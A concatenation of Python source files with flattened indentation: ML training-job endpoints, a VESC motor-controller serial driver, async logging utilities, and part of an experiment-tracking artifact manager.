# print ('>>>>>>>>PPPPPPPPPPPPPPPP ',pmmlFile,tensorboardUrl,tensorboardLogFolder,hyperParaUser)
idforData=int(time.time())
idforData=str(idforData)+'_NN'
saveStatus=logFolder+idforData+'/'
kerasUtilities.checkCreatePath(saveStatus)
statusfileLocation=saveStatus+'status.txt'
data_details={}
data_details['tensorboardUrl']=tensorboardUrl
data_details['idforData']=idforData
data_details['status']='In Progress'
fObjScrpt=pathlib.Path(pmmlFile)
print ('fObjScrpt.name.replace(fObjScrpt.suffix,'')',fObjScrpt.name.replace(fObjScrpt.suffix,''))
data_details['taskName']=fObjScrpt.name.replace(fObjScrpt.suffix,'')
data_details['createdOn']= str(datetime.datetime.now())
data_details['type']= 'NNProject'
data_details['problem_type']= hyperParaUser['problemType']
data_details["newPMMLFileName"]=pmmlFile
nntrainer = mergeTrainingNN.NeuralNetworkModelTrainer()
pID = nntrainer.train(idforData,pmmlFile,tensorboardLogFolder,hyperParaUser,pmmlFile)
data_details['pID']=str(pID)
saveStatus=logFolder+idforData+'/'
kerasUtilities.checkCreatePath(saveStatus)
# statusfileLocation=saveStatus+'status.txt'
with open(statusfileLocation,'w') as filetosave:
json.dump(data_details, filetosave)
if pID == -1:
# data_details['status']='In Progress'
kerasUtilities.updateStatusOfTraining(statusfileLocation,'Training Failed')
else:
pass
runTemp=[i['idforData'] for i in RUNNING_TASK_MEMORY]
if data_details['idforData'] not in runTemp:
# print ('PPPPPPPPPPPPPPPPPPPP Saved to runningTask')
tempRunMemory=data_details
RUNNING_TASK_MEMORY.append(tempRunMemory)
else:
pass
print ('P'*200)
print ('data_details',data_details)
return JsonResponse(data_details,status=202)
# @csrf_exempt
# @api_view(['POST'])
# @schema(autoMLsendDataSwagger)
def autoMLdataprocess(pathOffile):
def dataReaderForJson(pathOffile):
ww=open(pathOffile,'r')
jD=json.loads(ww.read())
sampeData=pd.DataFrame(jD['values']).transpose()
sampeData.columns=[i['name'] for i in jD['series']]
for j in sampeData.columns:
sampeData[j]=sampeData[j].apply(lambda x: (x['min']+x['max'])/2)
return sampeData
global DATA_MEMORY_OBJS_SKLEARN
# pathOffile=requests.GET['filePath']
if '.json' in pathOffile:
data=dataReaderForJson(pathOffile)
else:
data=pd.read_csv(pathOffile,encoding='latin-1')
idforData=int(time.time())
idforData=str(idforData)+'_autoML'
DATA_MEMORY_OBJS_SKLEARN[idforData]=data
# print ('11111111',DATA_MEMORY_OBJS_SKLEARN)
# print(data.shape)
data_details=autoMLutilities.dataDescription(data)
data_details['idforData']=idforData
return JsonResponse(data_details)
# @csrf_exempt
# @api_view(['POST'])
# @schema(autoMLtrainModelSwagger)
def autoMLtrainModel(userInput):
global DATA_MEMORY_OBJS_SKLEARN
# userInput=requests.body
# userInput=json.loads(userInput)
paramToTrainModel=userInput['data']
idforData=userInput['idforData']
# print (DATA_MEMORY_OBJS_SKLEARN)
data=DATA_MEMORY_OBJS_SKLEARN[idforData]
dataPath=userInput['filePath']
targetVar=userInput['target_variable']
problem_type=userInput['problem_type']
# algorithms=userInput['parameters']['algorithm']
try:
algorithms=userInput['parameters']['algorithm']
if algorithms[0]=='All':
raise Exception("")
except:
if problem_type =='Regression':
algorithms=['ExtraTreeRegressor','GradientBoostingRegressor','DecisionTreeRegressor','LinearSVR',\
'RandomForestRegressor','XGBRegressor','KNeighborsRegressor','LinearRegression','LGBMRegressor']
else:
algorithms=['DecisionTreeClassifier','ExtraTreesClassifier','RandomForestClassifier','GradientBoostingClassifier',\
'KNeighborsClassifier','LinearSVC','LogisticRegression','XGBClassifier','LGBMClassifier']
try:
newPMMLFileName = userInput['newPMMLFileName']
if not newPMMLFileName.endswith('.pmml'):
newPMMLFileName = newPMMLFileName+'.pmml'
except:
newPMMLFileName=idforData+'.pmml'
projectName=idforData
projectPath=logFolder+projectName
dataFolder=projectPath+'/dataFolder/'
tpotFolder=projectPath+'/tpotFolder/'
try:
os.makedirs(projectPath)
os.mkdir(dataFolder)
os.mkdir(tpotFolder)
except Exception as e:
print('>>>>>>>>>>>>>>>>', str(e))
autoMLLock=Lock()
trainer = trainAutoMLV2.AutoMLTrainer(algorithms=algorithms, problemType=problem_type)
train_prc = Process(target=trainer.trainModel,args=(data,logFolder, newPMMLFileName, autoMLLock, userInput))
# train_prc = Process(target=trainAutoMLV2.mainTrainAutoML,args=(data,paramToTrainModel,targetVar,idforData,problem_type,logFolder,newPMMLFileName))
train_prc.start()
pID=train_prc.ident
statusFile=dataFolder+'status'+'.txt'
# sFileText=sFile.read()
# data_details=json.loads(sFileText)
data_details={}
data_details['pID']=str(pID)
data_details['status']='In Progress'
data_details['newPMMLFileName']=newPMMLFileName
data_details['targetVar']=targetVar
data_details['problem_type']=problem_type
data_details['idforData']=idforData
data_details['shape']=data.shape
import pathlib
fVar=pathlib.Path(dataPath)
data_details['taskName']=fVar.name.replace(fVar.suffix,'')#newPMMLFileName.split('/')[-1]
autoMLLock.acquire()
with open(statusFile,'w') as filetosave:
json.dump(data_details, filetosave)
autoMLLock.release()
tempRunMemory={'idforData': projectName,
'status': 'In Progress',
'type': 'AutoMLProject',
'pid': pID,
'createdOn': str(datetime.datetime.now()),
'newPMMLFileName': newPMMLFileName.split('/')[-1]
}
tempRunMemory['taskName']=data_details['taskName']
# print ('>>>>>>>>>>>>>>>>>>>>AutoML',tempRunMemory)
RUNNING_TASK_MEMORY.append(tempRunMemory)
# print ('RUNNING_TASK_MEMORY >>>>>>>>>',RUNNING_TASK_MEMORY)
return JsonResponse(data_details,status=202)
def autoAnomalyModel(userInput):
global DATA_MEMORY_OBJS_SKLEARN
# userInput=requests.body
# userInput=json.loads(userInput)
paramToTrainModel=userInput['data']
idforData=userInput['idforData']
data=DATA_MEMORY_OBJS_SKLEARN[idforData]
dataPath=userInput['filePath']
try:
targetVar=userInput['target_variable']
except:
targetVar=None
try:
problem_type=userInput['problem_type']
except:
problem_type=None
algorithms=userInput['parameters']['algorithm']
try:
newPMMLFileName = userInput['newPMMLFileName']
if not newPMMLFileName.endswith('.pmml'):
newPMMLFileName = newPMMLFileName+'.pmml'
except:
newPMMLFileName=idforData+'.pmml'
projectName=idforData
projectPath=logFolder+projectName
dataFolder=projectPath+'/dataFolder/'
try:
os.makedirs(projectPath)
os.mkdir(dataFolder)
except Exception as e:
print('>>>>>>>>>>>>>>>>', str(e))
autoMLLock=Lock()
trainer = trainAutoMLV2.AnomalyTrainer(algorithms=algorithms, problemType=problem_type)
train_prc = Process(target=trainer.trainAnomalyModel,args=(data,logFolder, newPMMLFileName, autoMLLock, userInput))
# train_prc = Process(target=trainAutoMLV2.mainTrainAutoML,args=(data,paramToTrainModel,targetVar,idforData,problem_type,logFolder,newPMMLFileName))
train_prc.start()
pID=train_prc.ident
statusFile=dataFolder+'status'+'.txt'
# sFileText=sFile.read()
# data_details=json.loads(sFileText)
data_details={}
data_details['pID']=str(pID)
data_details['status']='In Progress'
data_details['newPMMLFileName']=newPMMLFileName
data_details['targetVar']=targetVar
data_details['problem_type']=problem_type
data_details['idforData']=idforData
data_details['shape']=data.shape
import pathlib
fVar=pathlib.Path(dataPath)
data_details['taskName']=fVar.name.replace(fVar.suffix,'')#newPMMLFileName.split('/')[-1]
autoMLLock.acquire()
with open(statusFile,'w') as filetosave:
json.dump(data_details, filetosave)
autoMLLock.release()
tempRunMemory={'idforData': projectName,
'status': 'In Progress',
'type': 'AutoMLProject',
'pid': pID,
'createdOn': str(datetime.datetime.now()),
'newPMMLFileName': newPMMLFileName.split('/')[-1]
}
tempRunMemory['taskName']=data_details['taskName']
print ('>>>>>>>>>>>>>>>>>>>>AutoML',tempRunMemory)
RUNNING_TASK_MEMORY.append(tempRunMemory)
# print ('RUNNING_TASK_MEMORY >>>>>>>>>',RUNNING_TASK_MEMORY)
return JsonResponse(data_details,status=202)
def statusOfModel(idforData):
try:
projectName=idforData
# print ('STep 1')
data_details=autoMLutilities.readStatusFile(projectName)
# print ('STep 2')
data_details['generationInfo']=autoMLutilities.progressOfModel(logFolder,projectName)
# print ('STep 3')
except:
projectName=idforData
# print ('STep 1')
data_details=autoMLutilities.readStatusFile(projectName)
# print ('STep 2')
# print ('MMMMMMMMMMMM',data_details)
# for j in data_details:
# print (j,type(data_details[j]))
return JsonResponse(data_details,status=200)
def trainMRCNN(userInput):
# userInput=requests.body
# userInput=json.loads(userInput)
# print (userInput)
pmmlFile=userInput['filePath']
try:
dataFolder=userInput['dataFolder']
except:
print ('Get Data folder')
try:
tensorboardLogFolder=userInput['tensorboardLogFolder']
except:
tensorboardLogFolder=target_path='./logs/'+''.join(choice(ascii_uppercase) for i in range(12))+'/'
# print ('tensorboardLogFolder',tensorboardLogFolder)
kerasUtilities.checkCreatePath(tensorboardLogFolder)
# batchSize=userInput['batchSize']
epoch=userInput['epoch']
stepsPerEpoch=userInput['stepPerEpoch']
# learningRate=userInput['learningRate']
try:
tensorboardUrl=userInput['tensorboardUrl']
except:
tensorboardUrl=''
# idforData=pmmlFile.split('/')[-1].replace('.pmml','')
idforData=os.path.basename(pmmlFile).replace('.pmml','')+'_MRCNN'
saveStatus=logFolder+idforData+'/'
kerasUtilities.checkCreatePath(saveStatus)
statusfileLocation=saveStatus+'status.txt'
# print("status file generated")
data_details={}
data_details['pmmlFile']=idforData
data_details['dataFolder']=dataFolder
data_details['fileName']=pmmlFile
data_details['tensorboardLogFolder']=tensorboardLogFolder
data_details['tensorboardUrl']=tensorboardUrl
# data_details['batchSize']=batchSize
data_details['epoch']=epoch
data_details['stepsPerEpoch']=stepsPerEpoch
# data_details['learningRate']=learningRate
data_details['idforData']=idforData
data_details['status']='Building Architecture'
with open(statusfileLocation,'w') as filetosave:
json.dump(data_details, filetosave)
objtrainer = trainMaskRCNN.ObjectDetetctionModels()
prc = Process(target=objtrainer.train, args=(pmmlFile,dataFolder,statusfileLocation,idforData,epoch,\
tensorboardLogFolder,stepsPerEpoch))
prc.start()
pID = prc.ident
data_details['pID']=str(pID)
if pID == -1:
kerasUtilities.updateStatusOfTraining(statusfileLocation,'Training Failed')
else:
with open(statusfileLocation,'w') as filetosave:
json.dump(data_details, filetosave)
runTemp=[i['idforData'] for i in RUNNING_TASK_MEMORY]
if data_details['idforData'] not in runTemp:
# print ('PPPPPPPPPPPPPPPPPPPP Saved to runningTask')
tempRunMemory={'idforData': idforData,
'status': 'Training Failed' if pID==-1 else 'In Progress',
'createdOn': str(datetime.datetime.now()),
'type': 'ObjectDetectionProject',
'pid':pID,
'newPMMLFileName':idforData+'.pmml'}
tempRunMemory['taskName']=tempRunMemory['newPMMLFileName']
RUNNING_TASK_MEMORY.append(tempRunMemory)
else:
pass
return JsonResponse(data_details,status=202)
|
VESC.py
|
from typing import Any, Dict, List
from pyvesc.protocol.interface import encode_request, encode, decode
from pyvesc.VESC.messages import *
import time
import threading
# because people may want to use this library for their own messaging, do not make this a required package
try:
import serial
except ImportError:
serial = None
class MultiVESC:
def __init__(self, serial_port, vescs_params: List[Dict[str, Any]], baudrate=115200, timeout=0.05) -> None:
"""
:param serial_port: Serial device to use for communication (i.e. "COM3" or "/dev/tty.usbmodem0")
:param vescs_params: List of params dict for individual VESC controller (eg. can_id, has_sensor, etc.)
:param baudrate: baudrate for the serial communication. Shouldn't need to change this.
:param timeout: timeout for the serial communication
"""
self.serial_port = serial.Serial(port=serial_port, baudrate=baudrate, timeout=timeout)
self.serial_lock = threading.Lock()
self.controllers = [
VESC(
shared_serial_port=self.serial_port,
shared_serial_lock=self.serial_lock,
**params
)
for params in vescs_params
]
class VESC(object):
def __init__(self, shared_serial_port, shared_serial_lock, can_id=None, has_sensor=False, start_heartbeat=True):
"""
:param serial_port: Serial device to use for communication (i.e. "COM3" or "/dev/tty.usbmodem0")
:param can_id: CAN ID if use CAN retransmission
:param has_sensor: Whether or not the bldc motor is using a hall effect sensor
:param start_heartbeat: Whether or not to automatically start the heartbeat thread that will keep commands
alive.
"""
self.can_id = can_id
self.serial_port = shared_serial_port
self.serial_lock = shared_serial_lock
if has_sensor:
self.serial_port.write(encode(SetRotorPositionMode(SetRotorPositionMode.DISP_POS_OFF, can_id=self.can_id)))
self.heart_beat_thread = threading.Thread(target=self._heartbeat_cmd_func)
self._stop_heartbeat = threading.Event()
if start_heartbeat:
self.start_heartbeat()
# store message info for getting values so it doesn't need to calculate it every time
msg = GetValues(can_id=self.can_id)
self._get_values_msg = encode_request(msg)
self._get_values_msg_expected_length = msg._full_msg_size
def __enter__(self):
return self
def __exit__(self, exc_type, exc_val, exc_tb):
self.stop_heartbeat()
if self.serial_port.is_open:
self.serial_port.flush()
self.serial_port.close()
def _heartbeat_cmd_func(self):
"""
Continuous function calling that keeps the motor alive
"""
while not self._stop_heartbeat.isSet():
time.sleep(0.1)
self.write(encode(Alive(can_id=self.can_id)))
def start_heartbeat(self):
"""
Starts a repetitive calling of the last set cmd to keep the motor alive.
"""
self.heart_beat_thread.start()
def stop_heartbeat(self):
"""
Stops the heartbeat thread and resets the last cmd function. THIS MUST BE CALLED BEFORE THE OBJECT GOES OUT OF
SCOPE UNLESS WRAPPING IN A WITH STATEMENT (Assuming the heartbeat was started).
"""
if self.heart_beat_thread.is_alive():
self._stop_heartbeat.set()
self.heart_beat_thread.join()
def write(self, data, num_read_bytes=None):
"""
A write wrapper function implemented like this to try and make it easier to incorporate other communication
methods than UART in the future.
:param data: the byte string to be sent
:param num_read_bytes: number of bytes to read for decoding response
:return: decoded response from buffer
"""
with self.serial_lock:
self.serial_port.write(data)
if num_read_bytes is not None:
while self.serial_port.in_waiting <= num_read_bytes:
time.sleep(0.000001) # add some delay just to help the CPU
response, consumed = decode(self.serial_port.read(self.serial_port.in_waiting))
return response
def set_rpm(self, new_rpm):
"""
Set the electronic RPM value (a.k.a. the RPM value of the stator)
:param new_rpm: new rpm value
"""
self.write(encode(SetRPM(new_rpm, can_id=self.can_id)))
def set_current(self, new_current):
"""
:param new_current: new current in milli-amps for the motor
"""
self.write(encode(SetCurrent(new_current, can_id=self.can_id)))
def set_duty_cycle(self, new_duty_cycle):
"""
:param new_duty_cycle: Value of duty cycle to be set (range [-1e5, 1e5]).
"""
self.write(encode(SetDutyCycle(new_duty_cycle, can_id=self.can_id)))
def set_servo(self, new_servo_pos):
"""
:param new_servo_pos: New servo position. valid range [0, 1]
"""
self.write(encode(SetServoPosition(new_servo_pos, can_id=self.can_id)))
def get_measurements(self):
"""
:return: A msg object with attributes containing the measurement values
"""
return self.write(self._get_values_msg, num_read_bytes=self._get_values_msg_expected_length)
def get_firmware_version(self):
msg = GetVersion(can_id=self.can_id)
return str(self.write(encode_request(msg), num_read_bytes=msg._full_msg_size))
def get_rpm(self):
"""
:return: Current motor rpm
"""
return self.get_measurements().rpm
def get_duty_cycle(self):
"""
:return: Current applied duty-cycle
"""
return self.get_measurements().duty_now
def get_v_in(self):
"""
:return: Current input voltage
"""
return self.get_measurements().v_in
def get_motor_current(self):
"""
:return: Current motor current
"""
return self.get_measurements().current_motor
def get_incoming_current(self):
"""
:return: Current incoming current
"""
return self.get_measurements().current_in
|
logging.py
|
"""Logging utilities."""
import asyncio
from asyncio.events import AbstractEventLoop
from functools import partial, wraps
import inspect
import logging
import threading
import traceback
from typing import Any, Callable, Coroutine, Optional
class HideSensitiveDataFilter(logging.Filter):
"""Filter API password calls."""
def __init__(self, text: str) -> None:
"""Initialize sensitive data filter."""
super().__init__()
self.text = text
def filter(self, record: logging.LogRecord) -> bool:
"""Hide sensitive data in messages."""
record.msg = record.msg.replace(self.text, "*******")
return True
# pylint: disable=invalid-name
class AsyncHandler:
"""Logging handler wrapper to add an async layer."""
def __init__(self, loop: AbstractEventLoop, handler: logging.Handler) -> None:
"""Initialize async logging handler wrapper."""
self.handler = handler
self.loop = loop
self._queue: asyncio.Queue = asyncio.Queue(loop=loop)
self._thread = threading.Thread(target=self._process)
# Delegate from handler
self.setLevel = handler.setLevel
self.setFormatter = handler.setFormatter
self.addFilter = handler.addFilter
self.removeFilter = handler.removeFilter
self.filter = handler.filter
self.flush = handler.flush
self.handle = handler.handle
self.handleError = handler.handleError
self.format = handler.format
self._thread.start()
def close(self) -> None:
"""Wrap close to handler."""
self.emit(None)
async def async_close(self, blocking: bool = False) -> None:
"""Close the handler.
When blocking=True, will wait till closed.
"""
await self._queue.put(None)
if blocking:
while self._thread.is_alive():
await asyncio.sleep(0)
def emit(self, record: Optional[logging.LogRecord]) -> None:
"""Process a record."""
ident = self.loop.__dict__.get("_thread_ident")
# inside eventloop
if ident is not None and ident == threading.get_ident():
self._queue.put_nowait(record)
# from a thread/executor
else:
self.loop.call_soon_threadsafe(self._queue.put_nowait, record)
def __repr__(self) -> str:
"""Return the string names."""
return str(self.handler)
def _process(self) -> None:
"""Process log in a thread."""
try:
while True:
record = asyncio.run_coroutine_threadsafe(
self._queue.get(), self.loop
).result()
if record is None:
self.handler.close()
return
self.handler.emit(record)
except asyncio.CancelledError:
self.handler.close()
def createLock(self) -> None:
"""Ignore lock stuff."""
def acquire(self) -> None:
"""Ignore lock stuff."""
def release(self) -> None:
"""Ignore lock stuff."""
@property
def level(self) -> int:
"""Wrap property level to handler."""
return self.handler.level
@property
def formatter(self) -> Optional[logging.Formatter]:
"""Wrap property formatter to handler."""
return self.handler.formatter
@property
def name(self) -> str:
"""Wrap property set_name to handler."""
return self.handler.get_name() # type: ignore
@name.setter
def name(self, name: str) -> None:
"""Wrap property get_name to handler."""
self.handler.set_name(name) # type: ignore
def log_exception(format_err: Callable[..., Any], *args: Any) -> None:
"""Log an exception with additional context."""
module = inspect.getmodule(inspect.stack()[1][0])
if module is not None:
module_name = module.__name__
else:
# If Python is unable to access the sources files, the call stack frame
# will be missing information, so let's guard.
# https://github.com/home-assistant/home-assistant/issues/24982
module_name = __name__
# Do not print the wrapper in the traceback
frames = len(inspect.trace()) - 1
exc_msg = traceback.format_exc(-frames)
friendly_msg = format_err(*args)
logging.getLogger(module_name).error("%s\n%s", friendly_msg, exc_msg)
def catch_log_exception(
func: Callable[..., Any], format_err: Callable[..., Any], *args: Any
) -> Callable[[], None]:
"""Decorate a callback to catch and log exceptions."""
# Check for partials to properly determine if coroutine function
check_func = func
while isinstance(check_func, partial):
check_func = check_func.func
wrapper_func = None
if asyncio.iscoroutinefunction(check_func):
@wraps(func)
async def async_wrapper(*args: Any) -> None:
"""Catch and log exception."""
try:
await func(*args)
except Exception: # pylint: disable=broad-except
log_exception(format_err, *args)
wrapper_func = async_wrapper
else:
@wraps(func)
def wrapper(*args: Any) -> None:
"""Catch and log exception."""
try:
func(*args)
except Exception: # pylint: disable=broad-except
log_exception(format_err, *args)
wrapper_func = wrapper
return wrapper_func
def catch_log_coro_exception(
target: Coroutine[Any, Any, Any], format_err: Callable[..., Any], *args: Any
) -> Coroutine[Any, Any, Any]:
"""Decorate a coroutine to catch and log exceptions."""
async def coro_wrapper(*args: Any) -> Any:
"""Catch and log exception."""
try:
return await target
except Exception: # pylint: disable=broad-except
log_exception(format_err, *args)
return None
return coro_wrapper()
def async_create_catching_coro(target: Coroutine) -> Coroutine:
"""Wrap a coroutine to catch and log exceptions.
The exception will be logged together with a stacktrace of where the
coroutine was wrapped.
target: target coroutine.
"""
trace = traceback.extract_stack()
wrapped_target = catch_log_coro_exception(
target,
lambda *args: "Exception in {} called from\n {}".format(
target.__name__, # type: ignore
"".join(traceback.format_list(trace[:-1])),
),
)
return wrapped_target
|
artifacts.py
|
import hashlib
import json
import mimetypes
import os
from six.moves.urllib.parse import quote
from copy import deepcopy
from datetime import datetime
from multiprocessing import RLock, Event
from multiprocessing.pool import ThreadPool
from tempfile import mkdtemp, mkstemp
from threading import Thread
from time import time
from zipfile import ZipFile, ZIP_DEFLATED
import humanfriendly
import six
from PIL import Image
from pathlib2 import Path
from six.moves.urllib.parse import urlparse
from ..backend_api import Session
from ..backend_api.services import tasks
from ..backend_interface.metrics.events import UploadEvent
from ..debugging.log import LoggerRoot
from ..storage.helper import remote_driver_schemes
try:
import pandas as pd
except ImportError:
pd = None
try:
import numpy as np
except ImportError:
np = None
class Artifact(object):
"""
Read-Only Artifact object
"""
@property
def url(self):
"""
:return: url of uploaded artifact
"""
return self._url
@property
def name(self):
"""
:return: name of artifact
"""
return self._name
@property
def size(self):
"""
:return: size in bytes of artifact
"""
return self._size
@property
def type(self):
"""
:return: type (str) of of artifact
"""
return self._type
@property
def mode(self):
"""
:return: mode (str) of of artifact. either "input" or "output"
"""
return self._mode
@property
def hash(self):
"""
:return: SHA2 hash (str) of of artifact content.
"""
return self._hash
@property
def timestamp(self):
"""
:return: Timestamp (datetime) of uploaded artifact.
"""
return self._timestamp
@property
def metadata(self):
"""
:return: Key/Value dictionary attached to artifact.
"""
return self._metadata
@property
def preview(self):
"""
:return: string (str) representation of the artifact.
"""
return self._preview
def __init__(self, artifact_api_object):
"""
construct read-only object from api artifact object
:param tasks.Artifact artifact_api_object:
"""
self._name = artifact_api_object.key
self._size = artifact_api_object.content_size
self._type = artifact_api_object.type
self._mode = artifact_api_object.mode
self._url = artifact_api_object.uri
self._hash = artifact_api_object.hash
self._timestamp = datetime.fromtimestamp(artifact_api_object.timestamp)
self._metadata = dict(artifact_api_object.display_data) if artifact_api_object.display_data else {}
self._preview = artifact_api_object.type_data.preview if artifact_api_object.type_data else None
self._object = None
def get(self):
"""
Return an object constructed from the artifact file
Currently supported types: Numpy.array, pandas.DataFrame, PIL.Image, dict (json)
All other types will return a pathlib2.Path object pointing to a local copy of the artifacts file (or directory)
:return: One of the following objects Numpy.array, pandas.DataFrame, PIL.Image, dict (json), pathlib2.Path
"""
if self._object:
return self._object
local_file = self.get_local_copy()
if self.type == 'numpy' and np:
self._object = np.load(local_file)[self.name]
elif self.type in ('pandas', Artifacts._pd_artifact_type) and pd:
self._object = pd.read_csv(local_file)
elif self.type == 'image':
self._object = Image.open(local_file)
elif self.type == 'JSON':
with open(local_file, 'rt') as f:
self._object = json.load(f)
local_file = Path(local_file)
if self._object is None:
self._object = local_file
else:
from trains.storage.helper import StorageHelper
# only of we are not using cache, we should delete the file
if not hasattr(StorageHelper, 'get_cached_disabled'):
# delete the temporary file, we already used it
try:
local_file.unlink()
except Exception:
pass
return self._object
def get_local_copy(self, extract_archive=True):
"""
:param bool extract_archive: If True and artifact is of type 'archive' (compressed folder)
The returned path will be a temporary folder containing the archive content
:return: a local path to a downloaded copy of the artifact
"""
from trains.storage.helper import StorageHelper
local_path = StorageHelper.get_local_copy(self.url)
if local_path and extract_archive and self.type == 'archive':
temp_folder = None
try:
temp_folder = mkdtemp(prefix='artifact_', suffix='.archive_'+self.name)
ZipFile(local_path).extractall(path=temp_folder)
except Exception:
try:
if temp_folder:
Path(temp_folder).rmdir()
except Exception:
pass
return local_path
try:
Path(local_path).unlink()
except Exception:
pass
return temp_folder
return local_path
def __repr__(self):
return str({'name': self.name, 'size': self.size, 'type': self.type, 'mode': self.mode, 'url': self.url,
'hash': self.hash, 'timestamp': self.timestamp,
'metadata': self.metadata, 'preview': self.preview, })
class Artifacts(object):
_flush_frequency_sec = 300.
# notice these two should match
_save_format = '.csv.gz'
_compression = 'gzip'
# hashing constants
_hash_block_size = 65536
_pd_artifact_type = 'data-audit-table'
class _ProxyDictWrite(dict):
""" Dictionary wrapper that updates an arguments instance on any item set in the dictionary """
def __init__(self, artifacts_manager, *args, **kwargs):
super(Artifacts._ProxyDictWrite, self).__init__(*args, **kwargs)
self._artifacts_manager = artifacts_manager
# list of artifacts we should not upload (by name & weak-reference)
self.artifact_metadata = {}
# list of hash columns to calculate uniqueness for the artifacts
self.artifact_hash_columns = {}
def __setitem__(self, key, value):
# check that value is of type pandas
if pd and isinstance(value, pd.DataFrame):
super(Artifacts._ProxyDictWrite, self).__setitem__(key, value)
if self._artifacts_manager:
self._artifacts_manager.flush()
else:
raise ValueError('Artifacts currently support pandas.DataFrame objects only')
def unregister_artifact(self, name):
self.artifact_metadata.pop(name, None)
self.pop(name, None)
def add_metadata(self, name, metadata):
self.artifact_metadata[name] = deepcopy(metadata)
def get_metadata(self, name):
return self.artifact_metadata.get(name)
def add_hash_columns(self, artifact_name, hash_columns):
self.artifact_hash_columns[artifact_name] = hash_columns
def get_hash_columns(self, artifact_name):
return self.artifact_hash_columns.get(artifact_name)
@property
def registered_artifacts(self):
return self._artifacts_container
@property
def summary(self):
return self._summary
def __init__(self, task):
self._task = task
# notice the double link, this important since the Artifact
# dictionary needs to signal the Artifacts base on changes
self._artifacts_container = self._ProxyDictWrite(self)
self._last_artifacts_upload = {}
self._unregister_request = set()
self._thread = None
self._flush_event = Event()
self._exit_flag = False
self._summary = ''
self._temp_folder = []
self._task_artifact_list = []
self._task_edit_lock = RLock()
self._storage_prefix = None
def register_artifact(self, name, artifact, metadata=None, uniqueness_columns=True):
"""
:param str name: name of the artifacts. Notice! it will override previous artifacts if name already exists.
:param pandas.DataFrame artifact: artifact object, supported artifacts object types: pandas.DataFrame
:param dict metadata: dictionary of key value to store with the artifact (visible in the UI)
:param list uniqueness_columns: list of columns for artifact uniqueness comparison criteria. The default value
is True, which equals to all the columns (same as artifact.columns).
"""
# currently we support pandas.DataFrame (which we will upload as csv.gz)
if name in self._artifacts_container:
LoggerRoot.get_base_logger().info('Register artifact, overwriting existing artifact \"{}\"'.format(name))
self._artifacts_container.add_hash_columns(name, list(artifact.columns if uniqueness_columns is True else uniqueness_columns))
self._artifacts_container[name] = artifact
if metadata:
self._artifacts_container.add_metadata(name, metadata)
def unregister_artifact(self, name):
# Remove artifact from the watch list
self._unregister_request.add(name)
self.flush()
def upload_artifact(self, name, artifact_object=None, metadata=None, delete_after_upload=False):
if not Session.check_min_api_version('2.3'):
LoggerRoot.get_base_logger().warning('Artifacts not supported by your TRAINS-server version, '
'please upgrade to the latest server version')
return False
if name in self._artifacts_container:
raise ValueError("Artifact by the name of {} is already registered, use register_artifact".format(name))
artifact_type_data = tasks.ArtifactTypeData()
override_filename_in_uri = None
override_filename_ext_in_uri = None
uri = None
if np and isinstance(artifact_object, np.ndarray):
artifact_type = 'numpy'
artifact_type_data.content_type = 'application/numpy'
artifact_type_data.preview = str(artifact_object.__repr__())
override_filename_ext_in_uri = '.npz'
override_filename_in_uri = name+override_filename_ext_in_uri
fd, local_filename = mkstemp(prefix=quote(name, safe="")+'.', suffix=override_filename_ext_in_uri)
os.close(fd)
np.savez_compressed(local_filename, **{name: artifact_object})
delete_after_upload = True
elif pd and isinstance(artifact_object, pd.DataFrame):
artifact_type = 'pandas'
artifact_type_data.content_type = 'text/csv'
artifact_type_data.preview = str(artifact_object.__repr__())
override_filename_ext_in_uri = self._save_format
override_filename_in_uri = name
fd, local_filename = mkstemp(prefix=quote(name, safe="")+'.', suffix=override_filename_ext_in_uri)
os.close(fd)
artifact_object.to_csv(local_filename, compression=self._compression)
delete_after_upload = True
elif isinstance(artifact_object, Image.Image):
artifact_type = 'image'
artifact_type_data.content_type = 'image/png'
desc = str(artifact_object.__repr__())
artifact_type_data.preview = desc[1:desc.find(' at ')]
override_filename_ext_in_uri = '.png'
override_filename_in_uri = name + override_filename_ext_in_uri
fd, local_filename = mkstemp(prefix=quote(name, safe="")+'.', suffix=override_filename_ext_in_uri)
os.close(fd)
artifact_object.save(local_filename)
delete_after_upload = True
elif isinstance(artifact_object, dict):
artifact_type = 'JSON'
artifact_type_data.content_type = 'application/json'
preview = json.dumps(artifact_object, sort_keys=True, indent=4)
override_filename_ext_in_uri = '.json'
override_filename_in_uri = name + override_filename_ext_in_uri
fd, local_filename = mkstemp(prefix=quote(name, safe="")+'.', suffix=override_filename_ext_in_uri)
os.write(fd, bytes(preview.encode()))
os.close(fd)
artifact_type_data.preview = preview
delete_after_upload = True
elif isinstance(artifact_object, six.string_types) and urlparse(artifact_object).scheme in remote_driver_schemes:
# we should not upload this, just register
local_filename = None
uri = artifact_object
artifact_type = 'custom'
artifact_type_data.content_type = mimetypes.guess_type(artifact_object)[0]
elif isinstance(artifact_object, six.string_types + (Path,)):
# check if single file
artifact_object = Path(artifact_object)
artifact_object.expanduser().absolute()
try:
create_zip_file = not artifact_object.is_file()
except Exception: # Hack for windows pathlib2 bug, is_file isn't valid.
create_zip_file = True
else: # We assume that this is not Windows os
if artifact_object.is_dir():
# change to wildcard
artifact_object /= '*'
if create_zip_file:
folder = Path('').joinpath(*artifact_object.parts[:-1])
if not folder.is_dir():
raise ValueError("Artifact file/folder '{}' could not be found".format(
artifact_object.as_posix()))
wildcard = artifact_object.parts[-1]
files = list(Path(folder).rglob(wildcard))
override_filename_ext_in_uri = '.zip'
override_filename_in_uri = folder.parts[-1] + override_filename_ext_in_uri
fd, zip_file = mkstemp(prefix=quote(folder.parts[-1], safe="")+'.', suffix=override_filename_ext_in_uri)
try:
artifact_type_data.content_type = 'application/zip'
artifact_type_data.preview = 'Archive content {}:\n'.format(artifact_object.as_posix())
with ZipFile(zip_file, 'w', allowZip64=True, compression=ZIP_DEFLATED) as zf:
for filename in sorted(files):
if filename.is_file():
relative_file_name = filename.relative_to(folder).as_posix()
artifact_type_data.preview += '{} - {}\n'.format(
relative_file_name, humanfriendly.format_size(filename.stat().st_size))
zf.write(filename.as_posix(), arcname=relative_file_name)
except Exception as e:
# failed uploading folder:
LoggerRoot.get_base_logger().warning('Exception {}\nFailed zipping artifact folder {}'.format(
folder, e))
return None
finally:
os.close(fd)
artifact_object = zip_file
artifact_type = 'archive'
artifact_type_data.content_type = mimetypes.guess_type(artifact_object)[0]
local_filename = artifact_object
delete_after_upload = True
else:
if not artifact_object.is_file():
raise ValueError("Artifact file '{}' could not be found".format(artifact_object.as_posix()))
override_filename_in_uri = artifact_object.parts[-1]
artifact_object = artifact_object.as_posix()
artifact_type = 'custom'
